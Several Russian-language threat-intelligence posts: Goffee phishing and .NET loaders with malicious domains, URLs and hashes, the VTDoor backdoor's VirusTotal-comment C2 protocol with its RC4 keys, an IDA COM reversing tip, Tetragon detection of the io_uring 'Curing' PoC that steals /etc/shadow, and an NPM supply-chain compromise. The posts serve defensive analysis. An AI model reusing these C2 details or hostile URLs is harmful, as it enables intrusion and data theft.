Потерянное Goffeeйное зерно 🤨

Буквально через пару дней после нашего исследования активности группировки Goffee была проведена еще одна атака, о которой сейчас мы вам расскажем

👋 Все начинается с письма от лица якобы ГУ МВД России (скриншот 1), в котором во вложении находится PDF-документ со следующим содержимым (скриншот 2). В документе жертва находит ссылку на скачивание прилагаемых материалов, однако сама ссылка ведет на поддельный сайт МВД (скриншот 3), на котором для загрузки просят пройти капчу. После прохождения капчи скачивается архив 182-1672143-01.zip, внутри которого, помимо трех документов-приманок (пример одной приманки можно найти на скриншоте 4), лежит полезная нагрузка с именем 182-1672143-01(исполнитель * М.Д).exe**.

В качестве полезной нагрузки остались ранее известные .NET-загрузчики. И если ранее злоумышленники рандомизировали название mutex-ов, методов и типов следующего стейджа, то теперь модернизируются и сами GET-запросы.

🔄 Классические параметры в URL — hostname= и username= — заменили на рандомные строки. Например, в одном из загрузчиков был составлен URL следующего формата:

https://regrety.com/perplexed/blanket/caryatids/enthused/microlight?ToothRoofCarpet=<MachineName>&ChickWireHorse=<UserName>

К тому же некоторые загрузчики могли содержать документ-приманку с названием input.docx, по содержанию не отличавшийся от одного из документов в архиве.

По аналогичным названиям всего удалось обнаружить четыре архива с вредоносным ПО, описанным выше. Найти архивы и атрибутировать эти атаки к группировке Goffee в том числе помогают выделенные в статье (и выступлении OFFZONE) особенности сетевой инфраструктуры:

• Все найденные домены в загрузчиках имеют .com/.org TLD, и сами домены — второго уровня.
• Во всех загрузчиках для получения следующей стадии цепочки атаки используются ссылки четвертого и более уровня вложенности.
• Все домены зарегистрированы в Namecheap.
• Все домены хостятся на российских IP-адресах.

Дополнительные поиски по особенностям исполняемых файлов (схожие названия, сохраненные Debug Path и другое) помогли определить еще ряд семплов, принадлежащих Goffee.

Сетевые индикаторы компрометации

Домены:
cloud.mvd.spb.ru
brothiz.com
possessionpower.org
regrety.com
votexrp.com
combibox.net
pundy.org

Ссылки:
https://cloud.mvd.spb.ru/8u43sj
https://brothiz.com/counties/indicating/football/compress/bards
https://possessionpower.org/photographing/insinuating/predisposing/insolent/envious
https://regrety.com/perplexed/blanket/caryatids/enthused/microlight
https://votexrp.com/glossed/complainingly/blank/looks/adjudge
https://combibox.net/gravitated/larva/commends/lambswool/potted
https://pundy.org/deliberation/corslet/posterior/flavourings/eavesdroppers

Файловые индикаторы компрометации

Архивы:
202645d53e040eddb41dfeb1ed0560d3500a15c09717d8853928ee9a17208e22
fd54cda0111f9746a3caa64a1117b94a56f59711a83ec368206105d5c8d757b0
e27af28d19791d18c0cb65929a530fe5aeb5db25a35fe26e2993c444dcd58352
4888c94e8a943d02f5fcc92f78a0cd19b957fb0c8709d4de484cd36c97448226

Полезные нагрузки:
b8cf62b529b17f5c8cf3cfa51d47f5dcf263c8ee5fffc427ea02359d4597865a
c89ab2c5648be4f4e459422fe90be09402824e8555484f1cc51a22ad96edf19b
3f151143fc4747f0f99aeba58a3d83d9ae655da3b5721a0900320bc25992656f
6262e99b7020b8e510ae9e6d8119affb239b42f4a5966af362f58292aa0af700
c45905101c29be2993dfaf98752df6def0ac47dd4c4a732d4bfdc8c4f002b6f1
ee17de2e428b9cf80e25aeaa3272bd8516c9115f0733baec56014f6d3232b61a

#TI #APT
@ptescalator

Operation Tartaria — VTDoor 🚪

Про Operation Tartaria мы уже рассказывали в нескольких постах — часть 1 и часть 2. В одном из кейсов командой PT ESC IR, кроме модулей PlugX, была обнаружена динамическая библиотека NVIDIADEBUG.dll, расположенная в каталоге C:\ProgramData\NVIDIA. Для сохранения постоянства в системе была создана задача с именем NVIDIADEBUG, которая запускается каждые два часа. Аргументы команды запуска:

<Exec>
      <Command>C:\Windows\system32\rundll32.exe</Command>
      <Arguments>C:\ProgramData\NVIDIA\NVIDIADEBUG.dll fun</Arguments>
</Exec>

Исполняемый файл получил название VTDoor, так как для связи с C2-сервером ВПО использует комментарии к файлу на VirusTotal.

Динамическая библиотека NVIDIADEBUG.dll содержит функцию экспорта fun, в которой реализован основной набор функций. Используя API VT, VTDoor забирает зашифрованную команду из комментария к файлу: https://www.virustotal.com/api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments (скриншот 1). После ее выполнения публикует результат, хеш-файла и токен VT (x-api-key) зашифрованы в модуле с помощью алгоритма RC4 с ключом 032yhns1!-=.

👀 Метод использования VirusTotal как двустороннего C2-канала не новый и уже используется в некоторых C2-фреймворках. Посмотрим, как устроен протокол обмена командами.

➡️ VTDoor получает список комментариев в JSON-файле и извлекает из него поля id и text. Декодирует данные из формата Base64, расшифровывает с помощью RC4 с ключом usde-092d.

Результат расшифрованных данных должен содержать:
• маркер (0xAAAABBBB) — 4 байта;
• длину полезных данных — 4 байта;
• ключ RC4 для полезных данных — 4 байта;
• полезные данные.

➡️ Далее полезные данные (команда на выполнение) расшифровываются со вторым ключом RC4, запускается cmd.exe с перенаправленными выводами через Windows Pipes.

Отправка результата команды:
После выполнения команды генерируется 4-байтовый ключ RC4, с помощью которого будет зашифрован результат. Он упаковывается в сообщение:
• маркер (0xBBBBAAAA);
• длина результата выполненной команды — 4 байта;
• ключ RC4 — 4 байта;
• результат выполненной команды.
Сообщение шифруется с помощью алгоритма RC4 с тем же ключом usde-092d и кодируется в Base64.

➡️ Для отправки комментария к файлу на VT формируется JSON-файл, в котором в поле text добавляется результат выполненной команды:

{"data":{"type":"comment","attributes":{"text":"<Комментарий>"}}}

Обнаружено, что пользователь planningmid (скриншот 2) оставлял также комментарии к файлам 90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb, f506898cc7c2e092f9eb9fadae7ba50383f5b46a2a4fe5597dbb553a78981268, в которых была зашифрована команда whoami.

IoCs:

MD5: ca3820abd0331090c77116e2941f7b99
SHA1: b49a3d0f6f1af2d12d96a38a90f4c656c61ffdeb
SHA256: 1f5e377bdcc92c44e4aab816758560b07ac98003cbe0fb93960c1d710972bb7f

https://www.virustotal.com/api/v3/files/90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb/comments
https://www.virustotal.com/api/v3/files/f506898cc7c2e092f9eb9fadae7ba50383f5b46a2a4fe5597dbb553a78981268/comments
https://www.virustotal.com/api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments

#dfir #ti #apt #reverse #malware
@ptescalator

Генерация COM vtable в IDA 🐍

В процессе разбора одного из вариантов Snake Keylogger нужно было разобраться, какие managed-методы нативный модуль вызывает через COM-интерфейсы. Это означает, что нам нужно было вручную насоздавать какое-то количество структур. И еще нам бы хотелось видеть сигнатуру каждого метода, а их много.

Попробуем автоматизировать процесс. Предложенный способ, возможно, не единственный, но интересный и решает нашу задачу. Стек инструментов:

• OLE/COM Object Viewer (oleview)
• MIDL компилятор (midl.exe, входит в Visual Studio Build Tools)
• IDA

📂 Воспользуемся OLE/COM Object Viewer (oleview), чтобы открыть mscorlib.tlb и найти интересующие нас интерфейсы. Путь к нему:

C:\Program Files (x86)\Windows Kits\10\bin\<версия>\x86\oleview.exe

В mscorlib.tlb находятся COM-описания базовых managed-интерфейсов. Этот файл обычно лежит в каталоге:

C:\Windows\Microsoft.NET\Framework\<Версия>\mscorlib.tlb

Открыв файл, мы видим его IDL — Interface Definition Language (скриншот 1).

🫱 Далее находим в дереве oleview нужные нам интерфейсы (например, _AppDomain). Выгружаем их IDL и по примеру IDL для mscorlib (скриншот 1) собираем свой (скриншот 2). Пример минимального IDL представлен на скриншоте 3 (количество методов урезано).

На этом шаге нужно немного почистить файл:

1️⃣ Форварднуть интерфейсы, определить value-типы. Интерфейсы можно форвардить, так как указатель на них всегда одинакового размера. Но value-типы требуется определить полностью, иначе будет ошибка unsatisfied forward declaration. Мы обойдемся заглушками: для сигнатур методов этого достаточно.

2️⃣ Отредактировать объявления функций.

На скриншоте 4 мы видим, как объявлен COM-метод GetEvents_2. Это вариант перегрузки метода GetEvents. Нас интересует атрибут custom, который говорит, что этот метод — реализация .NET-метода Assembly.GetEvents и calling convention (_stdcall). Если мы оставим все так, как в сыром IDL, компилятор будет ругаться, потому что:

1️⃣ В IDL не пишут _stdcall: это появится в сгенерированном .h.

2️⃣ Атрибуты метода (включая custom(...)) должны быть только в квадратных скобках перед возвращаемым типом метода (в нашем случае — HRESULT).

Поэтому меняем содержимое на следующее:

[custom(0F21F359-AB84-41E8-9A78-36D110E6D2F9, "GetEvents")]
HRESULT GetEvents_2([in] BindingFlags bindingAttr, [out, retval] SAFEARRAY(_EventInfo*)* pRetVal);

Далее воспользуемся командой для сборки:

midl /h appdomain.h appdomain.idl

👍 Если вы все сделали правильно и сборка прошла успешно, вывод будет выглядеть так, как на скриншоте 5.

Теперь у нас есть готовый хедер, который мы отправим в IDA. Но сначала в хедер-файл добавим инклюды (до содержимого appdomain.h), чтобы IDA clang знал все имена и не ругался на атрибуты или макросы (скриншот 6):

После этого загружаем файл в IDA: File → Load file → Parse C header file…

IDA использует встроенный clang для преобразования C-заголовков в базу типов IDA. Соответственно, в Options → Compiler нужно указать include-пути, чтобы clang видел стандартные заголовки (пути к стандартным хедерам Windows SDK). Обычно это выглядит так:

-target x86_64-pc-win32
-x c++
-std=c++11
-I"C:\Program Files (x86)\Windows Kits\10\Include\<version>\ucrt"
-I"C:\Program Files (x86)\Windows Kits\10\Include\<version>\um"
-I"C:\Program Files (x86)\Windows Kits\10\Include\<version>\shared"
-I"C:\Program Files (x86)\Windows Kits\10\Include\<version>\winrt"
-I"C:\Program Files (x86)\Windows Kits\10\Include\<version>\cppwinrt"

После в Local Types появятся методы _AppDomain, _Type и другие (скриншот 7).

👀 На скриншоте 8 мы видим вызовы двух методов интерфейса _Type. Делаем encr_resource указателем на структуру _Type (ее vtable мы видели на скриншоте 7) и понимаем, какие методы вызываются (скриншот 9). Все аргументы схлопнулись под правильной сигнатурой, которую нам не нужно прописывать вручную.

#tip #malware #reverse
@ptescalator

Curing a problem 🔧

Недавно исследователи из ARMO представили статью и PoC вредоносного ПО Curing, которое использует интерфейс io_uring для обхода мониторинга файловых и сетевых операций, осуществляемого через системные вызовы.

🧐 Для начала расскажем о самом интерфейсе io_uring. Он появился в версии ядра 5.1 для выполнения асинхронных операций ввода-вывода. До него существовал интерфейс Linux AIO, который тоже предлагал асинхронный ввод-вывод, но имел ряд недостатков. Интерфейс io_uring разрабатывался с учетом этого и предлагает сокращение издержек, связанных с выполнением соответствующих системных вызовов, минуя их, а также реализует сам обмен данными внутри ядра, сокращая переключение контекста между ядром и пользовательским пространством (user-space). Для ввода-вывода используются два кольцевых буфера: очередь отправки (Submission Queue, SQ) и очередь завершения (Completion Queue, CQ), которые используются для постановки операций в очередь и получения результатов соответственно.

🪞 Для примера будем использовать упомянутый выше PoC Curing. Он производит чтение файла /etc/shadow и отправку его на сервер, все это средствами io_uring. Поэтому нет смысла настраивать auditd или другое средство аудита, использующее для мониторинга системные вызовы, так как после настройки интерфейса эти операции будут осуществляться в обход сисколов. В связи с этим для демонстрации аудита будет использоваться Tetragon — готовый движок на базе eBPF с возможностью гибко настраивать политики мониторинга через механизм TracingPolicy. Используя механизм привязки kprobes, мы можем подключиться к любой функции ядра для аудита. Существуют и другие интерфейсы, которые можно использовать для аудита доступа к файлам, например fanotify, но Tetragon универсальнее.

Тут стоит отметить, что средства, отслеживающие системные вызовы, не совсем бесполезны в этом случае: они все еще могут перехватывать вызовы функций io_uring_setup и io_uring_enter, используемых для создания и взаимодействия с экземпляром интерфейса io_uring. В этом случае мы будем видеть, что приложение выполняет действия с этим интерфейсом, но подробности операции и ее параметры получить мы не можем. С этим уже можно работать и помечать подобную активность как подозрительную, так как обычно приложения не опираются на io_uring, а легитимных пользователей этого интерфейса можно без особых проблем занести в белый список. Отсюда сам факт обращения к интерфейсу будет подозрительным поведением.

🫥 Но в нашем случае нам требуется постоянный мониторинг файлов или сокетов. Поэтому составим простую политику для мониторинга файлов через LSM-хук security_file_permission (скриншот 1, скопировать код). Сама функция принимает два аргумента: путь к файлу и запрашиваемые разрешения в виде битовой маски, поэтому в политике через оператор Equal ищем файл по полному пути, а в маске через оператор Mask фильтруем по цифре 4, что означает доступ на чтение. И в результате получаем событие (скриншот 2), когда Curing пытается прочитать файл.

Аналогично можно отследить соединение с сервером: в политике (скриншот 3, скопировать код) используем функцию ядра tcp_connect для получения аргумента sock в ней, где будет вся сетевая информация. Тут у нас нет вводных для фильтрации, и мы увидим все TCP-соединения, так как порт сервера можно переназначить, но тут нам важнее сам факт возможности перехватить событие (скриншот 4) — как мы видим, Curing подключается к своему стандартному порту 8888.

Пусть io_uring и предоставляет обход системных вызовов, но, используя правильные инструменты, его можно перехватить без особых проблем.

#tip #news
@ptescalator

Злоумышленники скомпрометировали десятки NPM-пакетов на ~2 млрд скачиваний 🐾

Что произошло

В рамках фишинговой рассылки был скомпрометирован мейнтейнер Josh "Qix" Junon.

Ему и еще нескольким разработчикам пришло письмо с просьбой обновить второй фактор, так как прошло 12+ месяцев с последнего изменения (скриншоты 1, 2, 3). Письмо пришло с ящика, имитирующего официальный (support@npmjs.help). 🐱

Qix является мейнтейнером больших проектов в экосистеме NPM, среди которых:

🟢chalk (882 форка и 22.7к звезд на GitHub, 313 млн. скачиваний в NPM за последнюю неделю);
🟢debug (957 форков, 11.3к звезд, 372 млн. скачиваний);
🟢strip-ansi (272 млн. скачиваний);
🟢wrap-ansi (206 млн. скачиваний);
🟢has-flag (200 млн. скачиваний).

Проверить, что атака вас не затронула

Вооружитесь osv-scanner. Информация о вредоносных пакетах уже есть в базе osv.dev.

Можно воспользоваться пользовательским скриптом или проверить перечисленные там пакеты самостоятельно (npm ls, yarn why, pnpm why).

Рекомендации для мейнтейнеров

1. Если вам приходится логиниться по ссылкам из писем — проверяйте URL. Помните, что вы — лакомая цель для злоумышленников.

2. Используйте второй фактор. Даже если злоумышленник сможет его выманить фишинговой страницей авторизации, то ему придется как-то получать его вновь и вновь, если у вас 2FA стоит в режиме Authorization and writes (подтверждение всех чувствительных действий, в т.ч. публикация новой версии пакета, режим включен по умолчанию).

3. Ознакомьтесь с практиками OIDC/"trusted publishing" — так вы усложните цель злоумышленнику, ведь ему придется захватить публичный CI/репозиторий для осуществления атаки.

Рекомендации для разработчиков

1. Фиксируйте зависимости. Не допускайте, чтобы пакетный менеджер просто тянул последний релиз используемых вами зависимостей.

2. Добавьте аудит зависимостей (для начала может подойти и osv-scanner) — так вы сможете узнать о проблемах на этапе сканирования зависимостей, а не из новостей.

Рекомендации для AppSec

Вы и без нас все знаете:

1. Настройте внутренний прокси с поддержкой карантина для внутренних проектов.

2. Убедитесь, что ваши разработчики ходят на внутреннее прокси, а не берут пакеты из глобальных репозиториев. 🐱

Stay safe 👍
#npm #supplychain #appsec
@ptescalator